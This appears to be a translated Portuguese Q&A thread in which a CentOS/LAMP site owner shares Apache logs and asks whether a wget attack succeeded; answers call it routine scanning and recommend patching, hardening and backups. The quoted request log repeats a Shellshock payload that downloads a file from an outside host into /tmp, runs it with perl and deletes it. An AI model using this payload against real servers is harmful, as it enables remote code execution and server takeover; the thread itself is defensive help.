Devo estar preocupado com a invasão de tentativas via wget em um servidor web baseado em CentOS / LAMP?

4

Isso é um pouco confuso, a propósito, eu não sou um administrador de sistemas e só conheço um pouco sobre como lidar com um Linux.

Estou executando um site baseado em LAMP e hospedando-o no Digital Ocean. O servidor é o CentOS 7 e eu instalei algumas ferramentas de segurança como Fail2ban . Eu freqüentemente verifico os logs de erros e os logs de solicitações, apenas hoje vi algumas solicitações perturbadoras; exemplos abaixo.

A minha pergunta é: o hacker está tentando plantar o nome do arquivo de vírus "a2.png" na minha pasta /tmp ? e o hacker consegue plantá-lo?

Como devo saber se o vírus está sendo executado no meu servidor?

Até agora não vejo que o nome do arquivo exista na minha pasta tmp. Qual medida de segurança ou proteção do servidor devo instalar? E configuração adequada do apache? Eu usei apenas a configuração padrão do apache quando instalo o LAMP.

O site que estou manipulando está no host virtual e estou usando uma estrutura para torná-lo mais seguro. Não tenho certeza de que, se estiver no caminho certo para proteger meu servidor da Web, instalei apenas o Fail2ban para a tentativa de login.

Exemplos de log de erros

[Tue Aug 25 09:48:39.688528 2015] [core:error] [pid 24312] [client 64.15.155.177:33663] AH00126: Invalid URI in request GET HTTP/1.1 HTTP/1.1

[Tue Aug 25 09:48:40.877570 2015] [cgi:error] [pid 24306] [client 64.15.155.177:35398] script not found or unable to stat: /var/www/cgi-bin/report.cgi

[Tue Aug 25 09:48:41.042423 2015] [cgi:error] [pid 24331] [client 64.15.155.177:35687] script not found or unable to stat: /var/www/cgi-bin/webmap.cgi

Exemplos de log de solicitações

64.15.155.177 - - [25/Aug/2015:09:48:39 -0400] "GET HTTP/1.1 HTTP/1.1" 400 226 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:39 -0400] "GET / HTTP/1.1" 301 234 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /main.cgi HTTP/1.1" 301 242 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /info.cgi HTTP/1.1" 301 242 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /index.cgi HTTP/1.1" 301 243 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /admin.cgi HTTP/1.1" 301 243 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
121.54.44.93 - - [25/Aug/2015:09:48:39 -0400] "GET / HTTP/1.1" 200 3785 "-" "Mozilla/5.0 (Linux; Android 4.4.2; en-ph; SAMSUNG SM-G7102 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36"
64.15.155.177 - - [25/Aug/2015:09:48:42 -0400] "GET /cgi-bin/register.cgi HTTP/1.1" 404 218 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:42 -0400] "GET /cgi-bin/download.cgi HTTP/1.1" 404 218 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
    
por angelito 26.08.2015 / 10:12

2 respostas

2

Ataque de wget com script que procura vulnerabilidades comuns. Mantenha seu software de servidor atualizado e a maioria deles não funcionará, a menos que seja zero dia.

Você encontrará uma dúzia de servidores web, sua única defesa é nunca permitir que seu servidor seja executado em um estado não corrigido.

Leia sobre o patch de segurança do Centos e gasta mais tempo executando o apt-get / yum / rpm (qualquer que seja o gerenciador de pacotes) para obter as atualizações de segurança mais recentes.

    
por 27.08.2015 / 07:57
2

Como a Fiasco Labs aponta em sua resposta , esse tipo de entradas de log é um centavo-a-dúzia. Mas como um administrador de sistemas com um histórico profundo de gerenciamento e proteção de servidores da Web baseados em LAMP, isso não é um ataque tanto como uma "detecção" de script do seu sistema por alguém em algum lugar. Essas sondagens / varreduras de um sistema são feitas para ver quais servidores (se houver) estão vulneráveis; não apenas seus servidores. Em geral, isso é o equivalente da "discagem de guerra" que era bastante comum nos anos 1980/90 de sistema de invasão via modem acústico; escaneie uma lista de sistemas, veja quais sistemas têm “falhas” e veja o que você pode fazer com essas supostas falhas.

Você deve estar em pânico com isso? De modo nenhum. Todo e qualquer servidor da Web na Internet está sendo constantemente investigado. Eu gerencio alguns servidores web Ubuntu Linux e tenho 100% de certeza se eu fosse checar meus logs agora, amanhã, um dia a partir de agora, etc… Eu veria entradas parecidas com o que você está vendo. Mas eu não estou perdendo o sono com isso. A realidade é que, se o seu sistema operacional principal for adequadamente corrigido e a estrutura que você está usando for corrigida e atualizada, você estará em boa forma.

Usar uma ferramenta como Fail2Ban não é uma má ideia, mas considero um pouco exagero Se você me perguntar. A razão é que mesmo com uma ferramenta como Fail2Ban ou mesmo ModSecurity , um bot inteligente ainda pode passar. É por isso que meu melhor conselho para qualquer administrador de sistemas é proteger seus servidores e ter uma maneira de recuperar facilmente de um comprometimento de sistemas.

Proteger seu servidor e seu código base

O que eu considero melhor prática de segurança é endurecer a configuração do servidor LAMP e garantir que o nosso código PHP seja sólido. Esta resposta no site Stack Exchange de segurança é um bom ponto de partida para entender o que significa "endurecimento", mas honestamente, se você não é um administrador de sistemas, muito disso pode estar acima da sua cabeça.

Portanto, eu recomendaria que, a menos que você esteja realmente à altura da tarefa de aprender como ser um administrador de sistemas Linux, talvez seja melhor usar algum provedor de hospedagem compartilhada em algum lugar. Dessa forma, seus administradores usam suas habilidades para se preocupar com essas coisas e você pode se concentrar na execução / codificação do site.

Dito isto, mesmo com uma configuração de hospedagem compartilhada, você não está fora do gancho. Mesmo se você estiver usando um framework PHP bem relacionado, você precisa estar atualizado sobre o patch do framework PHP praticamente sempre que uma atualização for lançada. E, no que diz respeito à sua base de código principal, você deve certificar-se de não cortar os cantos da prática básica de segurança em como codifica. Basicamente, você deve aprender a limpar toda e qualquer entrada que seu site receba e como configurar corretamente o site, para que, mesmo que ele falhe, isso não aconteça de maneira desastrosa.

Backups e recuperação de desastres

E em minha mente isso significa backups, backups, backups e mais backups. Você nunca pode controlar o comprometimento do servidor, mas a recuperação de dados / sistemas está sempre em seu controle. O que significa que você precisa ter algum tipo de “plano de recuperação de desastre” de pequena escala para restaurar seu site.

O que significa, certifique-se de fazer o backup de sua base de código principal, de modo que, se ela for comprometida, você poderá reimplantar código limpo com facilidade, sem muito esforço. Para esse fim, recomendo que você use uma ferramenta de gerenciamento de código-fonte, como git , para o acompanhamento de sua versão, bem como a configuração de um GitHub repositório para armazenamento remoto. Além disso, aprenda como usar o Capistrano com o PHP para implantar o código; Eu tenho uma resposta que aborda como fazer isso aqui .

Idem com seu banco de dados MySQL; dependendo do tamanho / escala, os backups estão disponíveis. Eu gosto de ter backups MySQL em sites de pequeno a médio porte executados a cada 3-4 horas. Dessa forma, o pior que pode acontecer se um site for hackeado é o banco de dados ter no máximo 3-4 horas de atraso; um banco de dados obsoleto no mesmo dia é melhor do que um banco de dados danificado, sem nenhum backup.

    
por 30.08.2015 / 06:32